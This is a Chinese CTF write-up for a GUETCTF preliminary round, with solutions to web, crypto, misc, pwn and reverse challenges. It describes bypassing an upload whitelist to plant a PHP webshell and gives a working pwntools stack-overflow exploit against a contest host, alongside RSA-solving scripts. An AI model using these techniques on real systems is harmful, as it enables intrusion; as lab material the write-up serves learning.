Web

Upload

文件上传,查看源码发现白名单是png,jpg和gif

写一个一句话木马

提交后用bp把文件后缀名改为php

然后就用蚁剑连接

在根目录下发现flag

Crypto

大学生张三

解压后是一个图片

是希腊字母

对照希腊字母大小写解出flag:GUeTctf{LaTeX iS goOD}

不过出题方好像是要我们找到他们的发音什么的,这是非预期

柯南道尔的手稿

前一半flag是替换密码,用qiuqiu解密

得到一半的flag:guetctf{m0no@1ph@betic_cipher_@nd_

翻译文章得到了key:fuermosi

用维吉尼亚密码解密得到后半flag:v19enere}

初中生张三

下载得到两个文件

output.txt:

n = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579490759338686340748881816419455244534040631473789009700628519453443051602228960172027560798010578163816609879272793648438019162990654418331739655246830933124359980893533311832738385124690021939400608344686466159239906594501146756572725216163176976837852951340585197433738815161392095711859551139354910787737443884763
c = 1263014643271828791081358366669403898447454851208347561512246477851408666843208050245458152778124310505189513567872819708791547863089082767253757131001707518256312495606427123589832591627231688943204662572575241318938047941518182988607061989807574408054238640752802115705845564311653669247957995938859980828570210961433027399868524711955684373328635446247408141474992333902524001031782554172313282626838376550519155921355185602240197543928083853896229211455517676258423202525755267816713849251699983306886706605697363714399487853808488091542082793626359758162042432111708456927378967869087487928750517180888720806611
gift = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579487436630315165023708642270933734182788884753935630472347474207436398366750124020713041945559582979845489974546171220269274785420798932077498634255551078266569814537282069392884251498459424382395431598314059145440756188749451813602760399832987773292896793499527246728557019917385596236288618589252285262735677647360

challenge:

from Crypto.Util.number import *
from GUETCTF import flagp = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
m = bytes_to_long(flag)
c = pow(m, e, n)
gift = (p+e)*(q-e)output = open('output.txt', 'w')
output.write('n = ' + str(n) + '\n')
output.write('c = ' + str(c) + '\n')
output.write('gift = ' + str(gift) + '\n')

利用gift与n算p,q

sage:

n = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579490759338686340748881816419455244534040631473789009700628519453443051602228960172027560798010578163816609879272793648438019162990654418331739655246830933124359980893533311832738385124690021939400608344686466159239906594501146756572725216163176976837852951340585197433738815161392095711859551139354910787737443884763
c = 1263014643271828791081358366669403898447454851208347561512246477851408666843208050245458152778124310505189513567872819708791547863089082767253757131001707518256312495606427123589832591627231688943204662572575241318938047941518182988607061989807574408054238640752802115705845564311653669247957995938859980828570210961433027399868524711955684373328635446247408141474992333902524001031782554172313282626838376550519155921355185602240197543928083853896229211455517676258423202525755267816713849251699983306886706605697363714399487853808488091542082793626359758162042432111708456927378967869087487928750517180888720806611
gift = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579487436630315165023708642270933734182788884753935630472347474207436398366750124020713041945559582979845489974546171220269274785420798932077498634255551078266569814537282069392884251498459424382395431598314059145440756188749451813602760399832987773292896793499527246728557019917385596236288618589252285262735677647360
e = 0x10001
var('p q')
solve([(p+e)*(q-e)==gift,p * q==n],[p,q])

 得到

[p == 150414490626131999840290275061353186166370322157486732633324629991276538677683227821774756078749332578169204118089196270868895587269842124291802615666317942002482915541149325838526414071563893000512999418976026095744564441490868843345059661074084081258480389396836118352516862360718545807908937715376916455003, q == 99714758090682937887894704292011421182518149287516665632313811573386865991473127961865812260826877001626110497349336821330809165012395884137065729939860249551404040230371599452917884071753755136760518035833468469511966799014970191212427252065378388960117005995845758986124686849183450046239192340618764609921]

解密脚本

import gmpy2
from Crypto.Util.number import *
def Decrypt(c,e,p,q):L=(p-1)*(q-1)d = gmpy2.invert(e,L)n=p*qm=gmpy2.powmod(c,d,n)flag=str(m)return flag
p =150414490626131999840290275061353186166370322157486732633324629991276538677683227821774756078749332578169204118089196270868895587269842124291802615666317942002482915541149325838526414071563893000512999418976026095744564441490868843345059661074084081258480389396836118352516862360718545807908937715376916455003
n =14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579490759338686340748881816419455244534040631473789009700628519453443051602228960172027560798010578163816609879272793648438019162990654418331739655246830933124359980893533311832738385124690021939400608344686466159239906594501146756572725216163176976837852951340585197433738815161392095711859551139354910787737443884763
q = n//p
e = 0x10001
c =1263014643271828791081358366669403898447454851208347561512246477851408666843208050245458152778124310505189513567872819708791547863089082767253757131001707518256312495606427123589832591627231688943204662572575241318938047941518182988607061989807574408054238640752802115705845564311653669247957995938859980828570210961433027399868524711955684373328635446247408141474992333902524001031782554172313282626838376550519155921355185602240197543928083853896229211455517676258423202525755267816713849251699983306886706605697363714399487853808488091542082793626359758162042432111708456927378967869087487928750517180888720806611print (Decrypt(c,e,p,q))
print(long_to_bytes(int(Decrypt(c,e,p,q)))) #long_to_bytes正整数转化为byte类型字符串

GUETCTF{One_E2_equ@ti0n5}

MICS

冬天到了

解压后得到一个图片,下部分有个红色的竖线,猜想是长不够,修改长发现

Password:snow_snow_snow

把图片拉入010editor,发现有flag.txt和压缩包的开头,用foremost分离压缩包

 压缩包里面的flag.txt

使用snow.exe解密,密码:snow_snow_snow

得到flag:GUETCTF{Th3_sn0w_1s_b3aut1ful}

PWN

pwn1

直接用nc连接,cat flag

 pwn2

使用 checksec 检查保护以及位数。

 可以看到题目是 64 位的,只开了 NX 保护。接着将 pwn2 文件放入 ida64 中进行反编译。

进入 ida 后使用 F5 加载伪代码。

分析main函数

通过观察可以发现,定义了两个数组一个是 v4,一个是 buf 大小都是 32。 接着观察主体函数逻辑,首先有三个 puts 函数进行打印文本,接着出现一个 read 函数。

对该 read 函数进行分析。 read函数读取我们所输入的内容将其存在buf数组中,但是定义了只能接受0xA大小的数据明显无法构造我们所需要的 ROP 链,这里不存在漏洞。 分析下一个 read 函数,可以看到该 read 函数可以接受 0x80 大小的数据。

点击buf发现

可以看到 ret 返回地址处在 0x40+0x8 的地方,但是我们可以输入 0x80 大小的数据。此处存在栈溢出漏洞。

接着在 ida 中找到了 getshell 函数

点击bin

 那么 system 函数的位置就在 0x40067A 的位置上了。 那就直接编写 exp 就好了 exp 如下:

from pwn import*
context.log_level = 'debug'
p = remote('172.16.64.96',9199)
system_addr = 0x40067A
p.recvuntil('Please input your name.')
p.sendline(b'aaaa')
p.recvuntil('Please input your password.')
payload = b'a'*(0x48) + p64(system_addr)
p.sendline(payload)
p.interactive()

flag:

GUETCTF{c719652a-baf2-4875-ad9a-4be0047cf706}

RESVER

Re3

题目描述:

已经给了提示是异常的 base64 了

先运行看看

丢 exeinfo,无壳,64 位

丢 ida,找到主函数反汇编

跟进 base64_encode 加密函数

大概就是 flag 经过不一样的 Base64 加密后得到的字符串和 v4 进行比较,相等则
成功
查看 v4 字符串,这里是小端序,字符串从右往左看

所以 v4 为 F1JTJSBIFntXL0wwdmJfF3IzdV0=
猜测是对正常的 base64 加密的字符串进行替换,用 x64dbg 来看
想到比赛说 flag 都是由 GUETCTF{}包裹,试试运气看看 GUETCTF,丢进 x64dbg

证明猜想是正确的,且可以知道异常 base64 加密就是对正常 base64 加密的大写
字母进行了替换,其余的均不变
主要的替换规则如下

手动换字母得到 R1VFVENURntJX0wwdmVfR3UzdH0=

提交确实是 flag

GUETCTF第三届梦极光杯初赛部分WP相关推荐

  1. 第三届“中科实数杯”团队赛wp

    前几天刚打完第三届"中科实数杯"的团队赛,特此在这里写一下解题的过程 考试说明: 考试介绍 :

  2. [CTF]GUET梦极光杯线上赛个人WP

    Misc 1.相信光 gif分离,有两张有二维码,随便扫了一张就出了 2.简简单单 压缩包,解压,再解压,有密码,爆破得到7788,查看文件头,png文件,改格式,一张二维码,扫描即可 3.real_ ...

  3. [CTF]GUET梦极光杯线下赛web部分WP

    Cover with trick 双写绕过,变量覆盖 Construct Master "%07%15%05%14%03%14%06"|"%60%60%60%60%60% ...

  4. 第三届“传智杯”全国大学生IT技能大赛(初赛)-Java B组题解

    A - 课程报名 A-课程报名洛谷题目链接 题目描述 传智播客推出了一款课程,并进行了一次促销活动.具体来说就是,课程的初始定价为v元:每报名m个学员,课程的定价就要提升a 元.由于课程能够容纳的学生 ...

  5. 2021第五届蓝帽杯初赛部分题目wp

    文章目录 前言 WEB Ball_sigin PWN slient MISC 冬奥会_is_coming 前言 本次蓝帽杯初赛做出了三道解出人数最多的题,勉强混个线下.但不得不吐槽一下这届题目.冬奥会 ...

  6. 2022蓝帽杯初赛电子取证

    手机取证  1. 627604C2-C586-48C1-AA16-FF33C3022159.PNG图片的分辨率是?[答案格式:19201080] 360360 直接搜索-表格视图 2. 姜总的快递单号 ...

  7. 华南理工大学广州学院计算机二级,华南理工大学广州学院学子在第三届“泰迪杯”数据分析职业技能大赛中荣获佳绩...

    12月19日,第三届泰迪杯数据分析职业技能大赛落下帷幕并公示了获奖名单.华南理工大学广州学院获得国家二等奖一项,国家三等奖两项的好成绩,这是我华南理工大学广州学院首次有组织地参与该赛事.本次竞赛由计算 ...

  8. 六元均匀直线阵的各元间距为_梦得杯—镀覆技术论文大赛丨微机电系统器件电镀镍厚度均匀性的模拟与改进【刘瑞 许文杰 袁妍妍】...

    微机电系统器件电镀镍厚度均匀性的模拟与改进 刘瑞,许文杰,袁妍妍(江苏科技大学材料科学与工程国家级实验教学示范中心) 作者简介:刘瑞,博士,副教授,主要研究方向为微纳米器件与材料. 文章全文 近年来, ...

  9. 纵横杯2020 web wp

    title: 纵横杯2020 web wp date: 2020-12-26 18:19:03 tags: CTF categories: 比赛 link:https://yq1ng.github.i ...

最新文章

  1. 用st-link通过stvp给stm8下载程序的坑
  2. 时光煮雨 Unity3D实现2D人物移动-总结篇
  3. 如何利用远程桌面连接CentOS的Desktop版本
  4. thinkPHP源码目录介绍
  5. php原生导出excel文件的两种方法
  6. bdf比特数字基金_第四届世界数字经济大会,比特元BTY作为协办方参与
  7. es6 数组去重_《前端算法系列》数组去重
  8. 【HDOJ7059】Counting Stars(线段树,区间加,乘,标记)
  9. linux7删除网卡文件,CentOS 7下删除virbr0网卡信息
  10. C#中自己动手创建一个Web Server(非Socket实现)
  11. Unity 常用的几种存档读档方式
  12. vs2015软件系统开源_2015年最佳开源游戏
  13. 虚拟吉他手合集 UJAM Instruments Virtual Guitarist Bundle WiN-MAC
  14. ios接入GameCenter登录
  15. Windows 下网卡对802.1Q tag 的支持
  16. python之路金角大王_Python 之路03 - Python基础3
  17. 【Unity】基础游戏单位GameObject中常用的属性和API
  18. 32位汇编ebp、ebp-4、ebp+4、ebp+8等含义
  19. linux 查看gz文件,【shell 脚本】查看*.gz 文件的内容
  20. 设计美学 第三章 设计美的文化差异

热门文章

  1. 单片机+PHY芯片+Powerlink协议实现高效数据采集探究(工业总线485和CAN的升级)
  2. 伺服电机矢量控制原理与仿真(1)控制系统的建立
  3. Java Swing的布局管理器
  4. java swt gridlayout_SWT GridLayout使用总结
  5. 操作系统进程的软中断通信
  6. ios开发日记- 7 禁用搜狗键盘 使用系统键盘
  7. 细数人体器官仿生,还有哪些可开发的
  8. VMWare 15.5.7 虚拟机配置,实现互联网访问和本地访问虚拟机
  9. GitCafe正式入驻SegmentFault开设专栏
  10. 究量子计算机的目的是为了解决计算机中的,研究量子计算机的目的是为了解决计算机中的()。...